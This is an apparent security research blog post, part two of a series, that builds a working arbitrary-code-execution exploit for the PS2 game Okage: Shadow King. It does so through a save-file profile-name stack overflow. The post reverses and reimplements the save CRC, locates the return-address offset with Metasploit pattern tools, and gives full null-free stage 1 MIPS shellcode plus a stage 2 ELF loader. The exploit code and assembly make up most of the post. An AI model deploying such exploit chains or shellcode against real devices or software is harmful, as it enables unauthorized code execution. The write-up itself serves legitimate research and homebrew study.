mast1c0re: Part 2 – Arbitrary PS2 code execution

Introduction

In the previous post, we obtained a game save file and managed to import and export files from the PSU file format. In this post, we begin by editing the profile name, which requires calculating a cyclic redundancy check (CRC) value. We then develop a traditional stack buffer overflow exploit by overflowing the profile name within the save game file. Finally, we write a small amount of MIPS assembly code to load a PlayStation 2 ELF file into memory and then execute it.

Modifying the profile name

After exporting the save game files from BASCUS-97129.psu using pypsu, I searched the exported files for the ASCII text “ABCdef” as that was the name I used when creating the profile. This string was found at offset 0x850 in bkmo0.dat as shown below:

Profile name in bkmo0.dat at offset 0x850

Next, I edited the profile name string from “ABCdef” to “BBCdef”, then saved the bkmo0.dat file. After editing the profile name, the bkmo0.dat file was imported into the BASCUS-97129.psu using pypsu. Then the BASCUS-97129.psu file was imported into the Mcd001.ps2 using mymcplus. However, when loading Okage: Shadow King, the game showed no save data existed.

To determine the problem, I created a new save game with the profile name “BBCdef”, and extracted the bkmo0.dat file. I then performed a hex diff to see what data in the file was different in the two profile files.

As shown, the profile name has a different first letter as expected, however four other bytes have changed at offset 0x08. You may have noticed the string “!crc” at the start of the file which gives us an indication that the value at offset 0x08 is a CRC value.

Additionally, the four byte value at offset 0x04 is the hex number 0xD78, and the total file size is 0xD84, which gives us a difference of 0x0C bytes. This gives us an indication that the first 0x0C bytes appear to be a header containing the magic value “!crc“, followed by the body length, followed by the CRC value.

Calculating the CRC value

To calculate the CRC value ourselves, we need to understand how the Okage: Shadow King game calculates it. To do this, we need to reverse engineer the game using an analysis tool such as Ghidra or IDA.

We begin by extracting the game files from the .iso/.bin file using an ISO extraction tool such as PowerISO:

Okage ISO Files & Directories

I used the Ghidra plugin beardypig/ghidra-emotionengine with Ghidra version 9.2.2 to load the game binary SCUS_971.29:

Next, I searched for strings such as “!crc” and “crc” however no results showed. I then searched for “bkmo” and followed the reference to the “%s/bkmo%d.dat” string in FUN_0012b508:

...
sprintf(&DAT_002597e0,"%s/bkmo%d.dat",0x2274c8);
resetUnk1(0);
_loadFile(&DAT_002597e0,1);
lVar3 = _setGameSaveSizeWhenP1NotZero(1,&int32_t_002597d8);
...

After spending a small amount of time reversing, I determined that the _loadFile (0x0016d748) function seemed to be of interest:

void _loadFile(char *filename, undefined8 param_2)
{
    _QueueParseGameSaveHeader(_parseGameSaveHeader, filename, param_2, 0, 0);
    return;
}

The _QueueParseGameSaveHeader (0x0016d4f8) function takes a function pointer as the first argument and in this scenario it is the function _parseGameSaveHeader (0x0016ccb8). From reversing this function and the function calls within it, we can determine that it is reading the first eight bytes of the file and checking the magic value “!crc” in function _isStringCRC (0x0016cc10):

int _parseGameSaveHeader(char *name, long param_2)
{
    int ret;
    char buffer [4];

    // Open memory card file
    int fd = MemoryCardOpen(name, 1);
    ...
    ret = MemoryCardSeek(fd, 0, 0);
    ...
    // Read first 8 bytes of bmko{i}.dat
    ret = MemoryCardRead(fd, buffer, 8);
    ...
    lVar2 = _isStringCRC(buffer);
    ...
    ret = MemoryCardClose(fd);
    ...
    return ret;
}
bool _isStringCRC(char *str)
{
    return str[0] == '!' && str[1] == 'c' && str[2] == 'r' && str[3] == 'c';
}

As this execution path did not perform the CRC calculation, I continued by checking all references to the _isStringCRC (0x0016cc10) function. This lead to a function I named _readMemCardCRCCheck (0x0016cdb8):

uint _readMemCardCRCCheck(char *filename, char *data, long param_3)
{
    char buffer [4];
    char fileCRCValue [4];
    ...
    int fd = MemoryCardOpen(filename, 1);
    ...

    // Read "!crc" magic and body size
    uVar1 = MemoryCardRead(fd, buffer, 8);
    ...

    // Validate "!crc" magic
    lVar4 = _isStringCRC(buffer);
    ...

    // Read CRC value in bkmo{i}.dat
    uVar2 = MemoryCardRead(fd, fileCRCValue, 4);
    ...

    // Read file body
    uVar3 = MemoryCardRead(fd, data, bodyLength);
    ...

    // Calculate file body CRC value
    int crc = _calculateCRC(data, bodyLength);
    ...
    if (fileCRCValue != crc)
        goto closeAndRet;
    ...
closeAndRet:
    ret = MemoryCardClose(fd);
    ...
    return ret;
}

As shown in this function, the “!crc” magic value is validated, then the file CRC value is read and finally the body CRC value is calculated in the _calculateCRC (0x0016d838) function which can be seen below.

uint _calculateCRC(byte *buffer, int size)
{
    if (gCRCTableInitialized == 0)
    {
        // Initialize CRC table values
        gCRCTableInitialized = 1;

        for (uint i = 0; i < 0xff; i++)
        {
            uint value = i << 8;
            for (uint j = 0; j < 8; j++)
            {
                if (value & 0x8000 == 0)
                    value = value << 1;
                else
                    value = value << 1 & 0x1021;
            }
            gCRCTable[i] = (int16_t)value;
        }
    }

    // Calculate CRC
    crc = 0xffff;
    for (uint i = 0; i < size; i++)
        crc = crc << 8 ^
            (uint)(ushort)gCRCTable[(buffer[i] ^ crc >> 8) & 0xff];
    return ~crc;
}

As we can see from this function, the first time a CRC value is calculated, the CRC table is initialized with 255 bytes. Various bit manipulation operations are then performed on each byte in the input buffer to calculate the CRC value.

This function can be re-wrote in Python as demonstrated below:

import ctypes

class CRC:
    """Python implementation of Okage: Shadow King's
    calculateCRC game save functionality.

    uint32_t calculateCRC(byte* buffer, int size) = 0x0016d838
    int      gCRCTableInitialized                 = 0x001fde8c
    int16_t  gCRCTable[256]                       = 0x002e27e8
    """
    TABLE_INITIALIZED = False
    TABLE = []

    @staticmethod
    def initialize():
        """Initializes the CRC table with 255 bytes.
        """
        CRC.TABLE_INITIALIZED = True

        for i in range(0, 255):
            value = ctypes.c_uint32(i)
            value.value <<= 8
            for j in range(0, 8):
                if value.value & 0x8000 == 0:
                    value.value <<= 1
                else:
                    value.value <<= 1
                    value.value ^= 0x1021
            CRC.TABLE.append(ctypes.c_uint16(value.value))
        CRC.TABLE.append(ctypes.c_uint16(0))

    @staticmethod
    def calculate(data):
        """Calculates the CRC (Cyclic Redundancy Check) value of the
        given data.

        Args:
            data (bytes): The input data bytes to calculate the CRC value from.

        Returns:
            int: The unsigned 32-bit integer CRC value.
        """
        if not CRC.TABLE_INITIALIZED:
            CRC.initialize()

        # Calculate checksum
        checksum = ctypes.c_uint32(0xFFFF)
        for i in range(0, len(data)):
            checksumShift = ctypes.c_uint32(checksum.value >> 8)
            preindex = ctypes.c_uint32(
                ctypes.c_uint32(data[i]).value ^ checksumShift.value
            )
            index = ctypes.c_uint32(preindex.value & 0xff)
            checksum.value <<= 8
            checksum.value ^= ctypes.c_uint32(
                CRC.TABLE[index.value].value
            ).value
        checksum.value = ~checksum.value

        return checksum.value

Controlling the program counter register

We are now in a position where we can modify the profile name to an arbitrary value, and update the CRC value to a valid number that Okage: Shadow King will accept. If the bkmo0.dat file size changes, the length value in the header must also match the body length.

To find the vulnerable code within Okage: Shadow King, I started by looking for strings which matched the load game save screen such as “Name”. The only reference to the “\f[2]Name",81h,"F%s” string is a function I have named _displayGameSaveGUI (0x0011b800).

void _displayGameSaveGUI(int param_1)
{

    // Buffer size of 256
    char buffer [256];

    // Location buffer overflow
    sprintf(buffer,"\\f[2]\\s[0.9,1.0]%s", gGameSave->location);
    _printBufferToScreen(0, 8, param_1 + 0x6b, buffer);
    ...

    // Name buffer overflow
    sprintf(buffer, "\f[2]Name\x81""F%s", gGameSave->name);
    _printBufferToScreen(0, 8, param_1 * 0x16 + 0x14, buffer);
    ...
    return;
}

As shown, both the location and name overflow the buffer variable when they exceed 256 characters due to the usage of the sprintf function. As this is a string copying function, and strings are terminated by a trailing NULL (0x0), we cannot overwrite stack data with a NULL byte from our input buffer. The only exception to this is if the very last byte we need to overwrite is a NULL byte as that will be our terminating string NULL byte.

To trigger a crash we can set the profile name to 400 ‘A’ characters in the bkmo0.dat file. By placing an execute breakpoint on address 0x0011bdc0 in the PCSX2 debugger, which is the last instruction in the _displayGameSaveGUI (0x0011b800) function, then pressing “RESTORE GAME” in Okage: Shadow King, we can see various MIPS registers including ra (return address) and fp (frame pointer) are overwritten with 41414141 41414141. For reference, the hex value 0x41 is the “A” character in ASCII.

The reason many of the registers contain data from the profile name is due to the overflow overwriting data on the stack, followed by various instructions storing the stack values into registers. For example, the instruction ld ra, 0x200(sp) loads data from the stack at offset 0x200 into the ra (return address) register.

If we hit “Step Into” in the debugger after hitting the breakpoint, PCSX2 will crash as the pc (program counter) register will be set to 41414141 41414141 from the ra (return address) register, which is an invalid address.

The next step is to determine the offset of the ra (return address) register in our input buffer of A’s. We can use the msf-pattern_create tool to generate a unique pattern as our input buffer:

└─$ msf-pattern_create -l 400                                                                           
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A

Using that pattern in the profile name sets the registers to the following values:

PCSX2 Debugger Registers MSF Pattern

We can use the msf-pattern_offset tool to find the offset within the input buffer where we overwrite the ra (return address) register by passing the input length, and the register hex value (0x306e4139 = 9An0).

└─$ msf-pattern_offset -l 400 -q 306e4139
[*] Exact match at offset 389

We can now control the pc (program counter) register by sending 389 A’s followed by a 4 byte address.

name = b'A' * 389
name += struct.pack('<I', 0x11223344)

Executing assembly instructions

The PlayStation 2 does not have the buffer overflow protections that are common place today such as address space layout randomization (ASLR), stack canaries or NX bit. Therefore, we can set the pc register directly to our input buffer located on the stack. Currently we are still not able to write NULL bytes due to the string copy therefore all 64-bit MIPS instructions must not contain a NULL byte.

In 64-bit MIPS, the NOP instruction is the hex sequence 00 00 00 00, which we cannot use. Instead, we can use a different instruction which operates the same as a NOP instruction such as move $sp, $sp. This instruction moves the sp (stack pointer) register to itself. Importantly though, the instruction hex sequence is 25 e8 a0 03 which contains no NULL bytes.

The Online Assembler and Disassembler by Shell Storm is a useful resource for quickly assembling MIPS instructions such as move $sp, $sp.

Using the following name will set the pc register to 0x11223344 and the stack will contain 30 “move $sp, $sp” instructions after this value.

name = b'A' * 389
name += struct.pack('<I', 0x11223344)
for i in range(30):
    # move $sp, $sp
    name += b'\x25\xe8\xa0\x03'

In order to execute our arbitrary shellcode on the stack, we need to determine the stack address that the ra (return address) will point to. We can do this by placing a breakpoint after the sprintf buffer overflow occurs at address 0x0011b99c in the _displayGameSaveGUI (0x0011b800) function, and then viewing the sp (stack pointer) register.

As shown in the following image, we can see that the sp (stack pointer) register value is 0x01ffe7b0 and the beginning of our controllable profile name data starts at address 0x01ffe82b. The ra (return address) is located at address 0x01ffe9b0 and contains the value 0x11223344 as expected. Finally, the 30 “move $sp, $sp” instructions follow the ra (return address) at address 0x01ffe9b4. Therefore, we want to set our ra (return address) value to be 0x01ffe9b4 to execute the shellcode on the stack we control.

PCSX2 Debugger Stack Pointer Analysis

We can use the following profile profile name to execute the nop instructions in our shellcode:

name = b'A' * 389
name += struct.pack('<I', 0x1ffe9b4)
for i in range(30):
    # move $sp, $sp
    name += b'\x25\xe8\xa0\x03'

This can be verified with the debugger by placing a breakpoint at the end of the _displayGameSaveGUI (0x0011b800) function before the game jumps to the ra (return address) register at address 0x0011bdc0. Stepping through the instructions with the “Step Into” button, we can see each nop being executed on the stack. It is also worth mentioning that the debugger shows the instruction as or, sp, zero which is identical to move $sp, $sp.

PCSX2 Debugger nop Stack Shellcode Execution

We can now execute instructions that do not contain a NULL byte which will be called our stage 1 payload. Our next goal is to find the original bkmo0.dat file contents in heap memory, and jump to the instructions following our stage 1 payload which will allow NULL bytes as the original save file data is not copied by a string function.

The gGameSave (0x0024EE04) global variable previously identified in the _displayGameSaveGUI (0x0011b800) function contains a pointer to the bkmo0.dat file contents. We cannot directly set the value of the $t1 register to gGameSave (0x0024EE04) as it contains a NULL byte. Instead, we can set it to the value 0x02020202, then minus 0x01DD13FE to result in 0x0024EE04. We can then load the 4 byte pointer address from 0x0024EE04 into the $t1 register so that it points to the start of the bkmo0.dat body.

    # t0 = 0x02020202 (avoiding null byte)
    lui   $t0, 0x202
    ori   $t0, $t0, 0x202

    # Dereference GameSave Pointer (0x02020202-0x01DD13FE = 0x0024EE04)
    lw $t1, -0x01DD13FE ($t0)

Next, we increment the game save address in $t1 by the fixed offset of 0xA28 to skip over data including the name, location and stage 1 payload.

    # Increment GameSave offset
    addi $t1, $t1, 0xA28

We then perform a jump and link (jal) instruction to call the stage 2 shellcode which will be placed at offset 0xA28. The jal instruction requires a nop instruction after it, however due to NULL byte restrictions, move $sp, $sp is used.

    # Jump to $t1 (Stage 2)
    jal $t1
    move $sp, $sp             # (Non-NULL NOP)

Once we have executed the stage 2 shellcode, we need to restore the original value of the ra (return address) register, then continue execution to the original pc (program counter) register to avoid the game crashing.

    # Jump back to original $ra (continue execution)
    li $ra, 0x111EF8C
    li $at, -0x10010B0
    add $ra, $ra, $at         # $ra = 0x11DEDC
    j 0x11DEDC
    nop

The full stage 1 assembly script is provided below:

.set noat
.set noreorder
.section .text

# Stage 1
# * Dereferences game save pointer
# * Jumps to stage 2 inside game save
# * Continues Okage code execution by jumping back to 0x11DEDC
# * Must not contain any NULL bytes (except after the final jump)

.global _start
_start:
    # t0 = 0x02020202 (avoiding null byte)
    lui   $t0, 0x202
    ori   $t0, $t0, 0x202

    # Dereference GameSave Pointer (0x02020202-0x01DD13FE = 0x0024EE04)
    lw $t1, -0x01DD13FE ($t0)

    # Increment GameSave offset
    addi $t1, $t1, 0xA28

    # Jump to $t1 (Stage 2)
    jal $t1
    move $sp, $sp             # (Non-NULL NOP)

    # Jump back to original $ra (continue execution)
    li $ra, 0x111EF8C
    li $at, -0x10010B0
    add $ra, $ra, $at         # $ra = 0x11DEDC
    j 0x11DEDC
    nop

This assembly file was compiled with the ps2/ps2sdk mips64r5900el-ps2-elf-gcc binary which generates an ELF file. However, we currently only want the direct .text instructions section therefore we use the mips64r5900el-ps2-elf-objcopy binary to extract that section.

mips64r5900el-ps2-elf-gcc -nostartfiles -nostdlib -nodefaultlibs \
    -ffreestanding -Wl,-z,max-page-size=0x1 \
    -c stage1.S -o stage1.elf

mips64r5900el-ps2-elf-objcopy -Wl,-z,max-page-size=0x1 \
    -O binary --only-section .text stage1.elf stage1.bin

The contents of stage1.bin can then be placed after the ra (return address) within the profile name.

Restoring corruption

We now have the ability to write shellcode with NULL byte instructions which we will call stage 2 shellcode. The next step of the process is to restore any corruption we produced from the stack overflow by setting the value of the callee-saved registers to their original value. Additionally, we need to restore the fp (frame pointer) and sp (stack pointer) registers to their original value. The original values can be seen in the debugger by adding a breakpoint on the jr $ra (0x0011bdc0) instruction at the end of _displayGameSaveGUI (0x0011b800) with a default bkmo0.dat file. The following table shows the original values of these registers:

RegisterValue
fp (frame pointer)0x00210000
sp (stack pointer)0x01FFE9C0
s0 (saved 0)0x00250000
s1 (saved 1)0x0024EEA4
s2 (saved 2)0x00250000
s3 (saved 3)0x00250000
s4 (saved 4)0x0024EE98
s5 (saved 5)0x00250000
s6 (saved 6)0x00250000
s7 (saved 7)0x00250000
Original Register Values

The MIPS x64 assembly to restore these register values is as shown:

.section .text

.global _start
_start:
    # Fix corrupted callee-saved registers
    li $fp, 0x00210000
    li $s0, 0x00250000
    li $s1, 0x0024EEA4
    li $s2, 0x00250000
    li $s3, 0x00250000
    li $s4, 0x0024EE98
    li $s5, 0x00250000
    li $s6, 0x00250000
    li $s7, 0x00250000
    li $sp, 0x01FFE9C0

Executing a file

Previously we reverse engineered various functions within Okage: Shadow King to discover the CRC calculation functionality. A few of those functions were malloc (0x001bda38), free (0x001f131c), MemoryCardOpen (0x0016c778), MemoryCardRead (0x0016c8b0) and MemoryCardClose (0x0016c7f0). As previously seen, these functions are responsible for opening a file within the PSU file previously detailed, reading the file contents and then closing the file handle. We can therefore insert an arbitrary file within the PSU file, and then load it into memory using these functions within our stage 2 shellcode.

To do this, we need to write the following C code in MIPS 64-bit assembly:

void _start()
{
    uint32_t size = 0;

    // Open file
    int fd = MemoryCardOpen("BASCUS-97129/shellcode.bin", 1);

    // Read the file size from the first 4 bytes
    MemoryCardRead(fd, &size, 4);

    // Allocate a buffer in memory for the file size
    void* buffer = malloc(size);

    // Read the data from the file into memory
    MemoryCardRead(fd, buffer, size);

    // Close the memory card
    MemoryCardClose(fd);

    // Call shellcode
    ((void(*)())buffer)();

    // Free the allocated buffer
    free(buffer);

    // Return to stage 1
    return;
}

For this functionality, we require the global data string “BASCUS-97129/shellcode.bin” which is referenced in the MemoryCardOpen (0x0016c778) function call. We can define this in the assembly file as shown:

.data
.global filename
    filename: .asciiz "BASCUS-97129/shellcode.bin\x00\x00\x00"

However, the compilation process we did for stage1.S would ignore the .data section as we only copied the .text section. Instead, we can use the following commands to append the .text section after the .data section in the binary output file.

mips64r5900el-ps2-elf-gcc -nostartfiles -nostdlib -nodefaultlibs \
    -ffreestanding -Wl,-z,max-page-size=0x1 \
    -c stage2.S -o stage2.elf

mips64r5900el-ps2-elf-objcopy -Wl,-z,max-page-size=0x1 \
    -O binary --only-section .text stage2.elf stage2.text

mips64r5900el-ps2-elf-objcopy -Wl,-z,max-page-size=0x1 \
    -O binary --only-section .text stage2.elf stage2.data

cat stage2.data > stage2.bin
cat stage2.text >> stage2.bin

We can then create a simple C program, compile it, extract the .text section, then import it into the PSU file as “shellcode.bin“.

void _start()
{
    int a = 1 + 2;
}
mips64r5900el-ps2-elf-gcc -nostartfiles -nostdlib -nodefaultlibs \
    -ffreestanding -Wl,-z,max-page-size=0x1 \
    shellcode.c -o shellcode.elf

mips64r5900el-ps2-elf-objcopy -Wl,-z,max-page-size=0x1 \
    -O binary --only-section .text shellcode.elf shellcode.bin
name = b'A' * 389
name += struct.pack('<I', 0x1ffe9b4)
name += stage1
name += stage2
...
# Append shellcode.bin to PSU
with open('shellcode.bin', 'rb') as f:
    shellcode = f.read()
psu.write('shellcode.bin', struct.pack('<I', len(shellcode)) + shellcode)
psu.save()

PS2 ELF executable

We are now able to insert a shellcode.bin file containing the .text segment of a PS2 ELF file and have it execute, then gracefully restore game execution using our stage 1 and stage 2 shellcode payloads. However, we are restricted from utilising many aspects of normal C/C++ programming such as global variables, as other ELF sections such as .data are not loaded into memory. To solve this, we can modify our stage 2 shellcode to parse the PS2 ELF executable file format and load the necessary sections into memory.

To begin with, we need to understand the ELF file format which is described in detail at Executable and Linkable Format. For loading the ELF file into memory, the important part of the file is the Program Header table which states the address the data should be stored at, the length of the data and the data itself.

To load the ELF file sections into memory and then call the entry function, we need to write the following C code in MIPS 64-bit assembly:

#define ELF_ENTRY_OFFSET 0x18
#define ELF_PROGRAM_HEADER_OFFSET_OFFSET 0x1C
#define ELF_PROGRAM_HEADER_SIZE_OFFSET 0x2A
#define ELF_PROGRAM_HEADER_COUNT_OFFSET 0x2C

#define PROGRAM_HEADER_SECTION_OFFSET_OFFSET 0x04
#define PROGRAM_HEADER_SECTION_DESTINATION_OFFSET 0x08
#define PROGRAM_HEADER_SECTION_SIZE_OFFSET 0x10

void _start()
{
    // Open the ELF file from the memory card
    int fd = MemoryCardOpen("BASCUS-97129/program.elf", 1);

    // Read the program.elf file size
    int size = 0;
    MemoryCardRead(fd, &size, 4);

    // Allocate space on the heap for the ELF file
    uint8_t* elf = malloc(size);

    // Read the ELF file into heap memory
    MemoryCardRead(fd, elf, size);

    // Close the memory card file
    MemoryCardClose(fd); 

    // Parse ELF Header
    uint8_t* programHeaders = elf +
        *(uint32_t*)(elf + ELF_PROGRAM_HEADER_OFFSET_OFFSET);
    uint16_t programHeaderSize =
        *(uint16_t*)(elf + ELF_PROGRAM_HEADER_SIZE_OFFSET);
    uint16_t programHeaderCount =
        *(uint16_t*)(elf + ELF_PROGRAM_HEADER_COUNT_OFFSET);

    // Parse Program Headers
    for (int i = 0; i < programHeaderCount; i++)
    {
        uint8_t* programHeader = programHeaders + (i * programHeaderSize);
        uint32_t sectionOffset = *(uint32_t*)(
            programHeader + PROGRAM_HEADER_SECTION_OFFSET_OFFSET
        );

        // Ignore invalid sections
        if (sectionOffset == 0)
            continue;

        uint32_t sectionDestination = *(uint32_t*)(
            programHeader + PROGRAM_HEADER_SECTION_DESTINATION_OFFSET
        );
        uint32_t sectionSize = *(uint32_t*)(
            programHeader + PROGRAM_HEADER_SECTION_SIZE_OFFSET
        );
        uint8_t* sectionSource = elf + sectionOffset;

        // Copy section from ELF section to given destination address
        memcpy(sectionDestination, sectionSource, sectionSize);
    }

    // Call entry
    uint32_t entry = *(uint32_t*)(elf + ELF_ENTRY_OFFSET);
    ((void(*)())entry)();

    // Free ELF buffer
    free(elf);
}

The final stage 2 shellcode to load the ELF into memory from the program.elf file within the PSU file, and to call the entry pointer can be seen below:

# Stage 2
# * Restore corrupted callee-saved registers
# * Read program.elf from memory card
# * Load ELF into memory
# * Execute entry
# * Return to stage 1
# * NULL bytes allowed

# Shellcode Variables
.data
.global filename
    filename: .asciiz "BASCUS-97129/program.elf\x00\x00\x00"

.section .text

.global _start
_start:
    # Fix corrupted callee-saved registers
    li $fp, 0x00210000
    li $s0, 0x00250000
    li $s1, 0x0024EEA4
    li $s2, 0x00250000
    li $s3, 0x00250000
    li $s4, 0x0024EE98
    li $s5, 0x00250000
    li $s6, 0x00250000
    li $s7, 0x00250000
    li $sp, 0x01FFE9C0

    # Local stack variables
    # 0x00 - void* gameSave
    # 0x04 - int fd
    # 0x08 - void* elf
    # 0x0C - int size
    # 0x10 - void* programHeaders
    # 0x14 - int programHeaderSize
    # 0x18 - int programHeaderCount
    # 0x1C - int i
    # 0x20 - $ra
    # 0x24 - $fp

    # Function setup
    addiu $sp, $sp, -0x28
    sw $ra, 0x20($sp)
    sw $fp, 0x24($sp)
    move $fp, $sp

    # Variable initialization
    sw $zero, 0x00($sp)
    sw $zero, 0x04($sp)
    sw $zero, 0x08($sp)
    sw $zero, 0x0c($sp)
    sw $zero, 0x10($sp)
    sw $zero, 0x14($sp)
    sw $zero, 0x18($sp)
    sw $zero, 0x1c($sp)

    # Store game save location in gameSave
    lw $t0, 0x0024EE04 # t0 = *gGameSave
    sw $t0, 0x00($sp)  # gameSave = t0 = *gGameSave

    # int fd = MemoryCardOpen("program.elf", 1)
    lw $a0, 0x00($sp)  # a0 = *gGameSave
    addi $a0, 0xA0C    # a0 = *gGameSave + 0xA0C = filename
    li $a1, 1          # a1 = 1
    jal MemoryCardOpen # int fd = MemoryCardOpen("BASCUS-97129/program.elf", 1)
    sw $v0, 0x04($sp)  # fd = v0

    # MemoryCardRead(fd, &size, 4)
    lw $a0, 0x04($sp)  # a0 = fd
    move $a1, $sp
    addi $a1, 0x0C     # a1 = &size
    li $a2, 4          # a2 = 4
    jal MemoryCardRead # MemoryCardRead(fd, &size, 4)

    # elf = malloc(size);
    lw $a0, 0x0C($sp)  # a0 = size
    jal malloc         # char* elf = malloc(size);
    sw $v0, 0x08($sp)  # elf = v0

    # MemoryCardRead(fd, elf, size)
    lw $a0, 0x04($sp)  # a0 = fd
    lw $a1, 0x08($sp)  # a1 = elf
    lw $a2, 0x0C($sp)  # a2 = size
    jal MemoryCardRead # MemoryCardRead(fd, elf, size)

    # MemoryCardClose(fd)
    lw $a0, 0x04($sp)   # a0 = fd
    jal MemoryCardClose # MemoryCardClose(fd)

    # Load ELF into memory
    lw $t0, 0x08($sp)  # t0 = elf

    # Program header table
    lw $t1, 0x1C($t0)    # t1 = *(uint32_t*)(elf + 0x1C) = programHeaderOffset
    add $t1, $t0         # t1 = elf + programHeaderOffset
    sw $t1, 0x10($sp)    # programHeaders = t1

    # Program header size
    lh $t1, 0x2A($t0)    # t1 = *(uint16_t*)(elf + 0x2A) = programHeaderSize
    sw $t1, 0x14($sp)    # programHeaderSize = t1

    # Program header count
    lh $t1, 0x2C($t0)    # t1 = *(uint16_t*)(elf + 0x2C) = programHeaderCount
    sw $t1, 0x18($sp)    # programHeaderCount = t1

    # Load each entry
loadLoop:
    # Get i'th program header
    lw $t1, 0x10($sp)    # t1 = programHeaders
    lw $t2, 0x1c($sp)    # t2 = i
    lw $t3, 0x14($sp)    # t3 = programHeaderSize
    mul $t2, $t3         # t2 = i * programHeaderSize
    add $t2, $t1         # t2 = programHeaders +
                         #      (i * programHeaderSize) = programHeader

    # memcpy(sectionDestination, sectionSource, sectionSize)
    lw $a0, 0x08($t2)        # a0 = *(uint32_t*)(programHeader + 0x08)
                             #    = sectionDestination
    lw $a1, 0x04($t2)        # a1 = *(uint32_t*)(programHeader + 0x04)
                             #    = sectionOffset
    beq $a1, 0, loopContinue # if (sectionOffset != 0)
    add $a1, $t0, $a1        # a1 = elf + sectionOffset
    lw $a2, 0x10($t2)        # a2 = *(uint32_t*)(programHeader + 0x10)
                             #    = sectionSize
    jal memcpy               # memcpy(sectionDestination, 
                             #     sectionSource, sectionSize
                             # )
loopContinue:

    # i++
    lw $t1, 0x1c($sp)  # t1 = i
    addi $t1, 1        # t1++
    sw $t1, 0x1c($sp)  # i = t1

    # i < programHeaderCount
    lw $t2, 0x18($sp)  # t2 = programHeaderCount
    blt $t1, $t2, loadLoop

    # Set gp to _gp
    li $gp, GP

    # Call entry
    lw $t0, 0x08($sp)   # t0 = elf
    lw $t1, 0x18($t0)   # t1 = *(uint32_t*)(elf + 0x18) = entry
    jalr $t1            # entry()

    # Free elf
    lw $a0, 0x08($sp)  # a0 = elf
    jal free           # free(elf);

    # Restore gp
    li $gp, 0

    # Function teardown
    move $sp, $fp
    lw $ra, 0x20($sp)
    lw $fp, 0x24($sp)
    addiu $sp, $sp, 0x28

    # Return to stage 1
    jr $ra

Conclusion

So far we have figured out how to modify a PS2 memory card file to import custom files, modify existing files, calculate the CRC value and develop an exploit to gain arbitrary code execution within the PS2 environment. Using this exploit we can write a custom C program, compile it to an ELF file and then load it into memory and call the entry point.

If we refer back to the original reference blog post “mast1c0re: Hacking the PS4 / PS5 through the PS2 Emulator – Part 1 – Escape“, we can now say that we have completed the following statement in the blog: “For my chain, I settled on Okage Shadow King, which has a typical stack buffer overflow if you extend the player/town name.”

The complete Python project to automate the modification of a game save file to embed and execute a PlayStation 2 ELF can be found at McCaulay/okrager.

In the next blog post “mast1c0re: Part 3 – Escaping the emulator“, we further develop the existing exploit and specifically target the PlayStation 4 and PlayStation 5 emulator to target an out-of-bounds write vulnerability which leads to return-oriented programming code execution.

References